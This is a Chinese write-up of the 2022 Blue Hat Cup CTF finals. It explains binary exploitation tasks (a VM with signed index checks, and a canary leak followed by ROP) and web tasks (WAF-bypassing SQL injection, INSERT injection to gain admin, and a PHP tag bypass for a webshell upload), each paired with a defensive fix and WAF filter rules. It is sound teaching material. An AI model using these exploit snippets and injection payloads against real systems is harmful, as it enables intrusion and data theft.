2022蓝帽杯决赛WriteUp
字数 1297 2025-08-06 12:20:51
2022蓝帽杯决赛WriteUp技术分析
PWN题目分析
1. mvm题目
漏洞分析:
- 实现了一个栈虚拟机,提供栈和寄存器之间的数据存取及运算功能
- 关键漏洞:寄存器下标检测使用有符号数比较(jle),导致:
- 负数下标可越界向前读取
- 足够大的负数下标乘8后会溢出为正数,实现越界写
防御方案:
- 将有符号比较(jle)改为无符号比较(jbe)
攻击利用:
- 利用越界读获取栈上残留的libc基址
- 将one_gadget与基址偏移压入栈
- 通过减法运算计算实际地址
- 利用越界写修改返回地址
Exp关键代码:
code = push(0x111) + push(0x222) + push(0x333) + push(0x444)
code += push_reg(-0x15-1) + push(0x7ffff7fc16a0-0x7ffff7ebbc81) + sub() + pop_reg(-0x3fffffffffffffff-1+(0x20050/8)+1)
2. 杀猪盘题目
漏洞分析:
- 明显的栈溢出漏洞(缓冲区0xa0,读入0x100)
- 虽然开启canary但提供两次操作机会
防御方案:
- 将两处0x100读入限制改为0xa0或更小
攻击利用:
- 第一次输入覆盖canary低字节\x00
- 输出泄露完整canary
- 第二次输入劫持控制流
- 通过搜索/bin/sh\0找到类似one_gadget的代码
- 使用gadget调整寄存器(如pop r12; ret)
Exp关键步骤:
# 第一次泄露canary
sea("你试着给她发短信说道:",'u'*0x99)
ru("u"*0x99)
canary = uu64('\0'+rc(7))
# 第二次ROP攻击
sea("又发了一条短信","u"*0x98+p64(canary)+p64(stack)+p64(0x000000000000cb6f+BASE)+p64(0)+p64(BASE+0xA193E))
WEB题目分析
1. 赌怪题目
漏洞背景:
- 基于华夏ERP项目,存在已知授权绕过和命令执行漏洞
防御方案:
- 修改LogCostFilter.java,对所有请求进行认证检查
- 防止认证绕过导致的后续命令执行
2. simple-fish题目
漏洞分析:
- 存在SQL注入漏洞,特别是db.php中的waf过滤不严
- 初始waf过滤:
function waf($s){
if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set/is",$s)||strlen($s)>1000){
header("Location: /");
die();
}
}
防御方案:
- 加强waf过滤,添加对空格、注释符等的过滤:
function waf($s){
if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set|-|#|\*|\/|\n| |\t/is",$s)||strlen($s)>1000){
header("Location: /");
die();
}
}
攻击利用:
- 使用默认账号admin/hardpass登录
- 利用MySQL 8.x的TABLE注入绕过过滤:
m=data where (1,0x666c6167)>(table fish.F5fl11A6g99 limit 0,1)
- 编写自动化脚本逐字节爆破flag
3. 安全的系统题目
漏洞分析:
- 文件上传漏洞,analyse函数过滤不严:
if (preg_match("/(<\?php\s)|(<\?=)/i", $data)) {
$stmt->execute(array($filehash, 'yes'));
return false;
}
- register.php中存在SQL注入点(phone参数未过滤)
防御方案:
- 在上传文件内容中删除<?标签:
file_put_contents($url,str_replace("<?","",file_get_contents($_FILES['file']['tmp_name'])));
攻击思路:
- 利用register.php的INSERT注入创建role=0的用户:
INSERT INTO users (`role`, `username`, `password`, `phone`, `idcard`, `name`)
VALUES('2','admin', '123456', '123','123','123'),('0','admin','123456','admin
- 使用role=0账号登录后上传webshell
- 绕过analyse过滤使用替代PHP标签:
<? phpinfo();?><script language="php">phpinfo()</script>
关键知识点总结
-
有符号/无符号比较漏洞:
- 汇编指令jle(有符号)与jbe(无符号)的区别
- 负数下标导致的越界访问
-
Canary绕过技术:
- 利用部分覆盖泄露canary
- 二次输入完成ROP链构造
-
MySQL 8.x TABLE注入:
- 使用TABLE语法替代SELECT绕过过滤
- 比较运算符在数据泄露中的应用
-
INSERT注入技巧:
- 多值插入绕过:
VALUES(...),(...) - 使用ON DUPLICATE KEY UPDATE修改数据
- 多值插入绕过:
-
PHP标签绕过:
- 短标签
<?与标准标签<?php的区别 <script language="php">替代标签
- 短标签
-
文件上传防御:
- 内容过滤比扩展名检查更重要
- 关键函数hook点选择
以上技术点在实际漏洞挖掘和防御中都具有重要参考价值,特别是在CTF竞赛和真实世界Web应用安全中。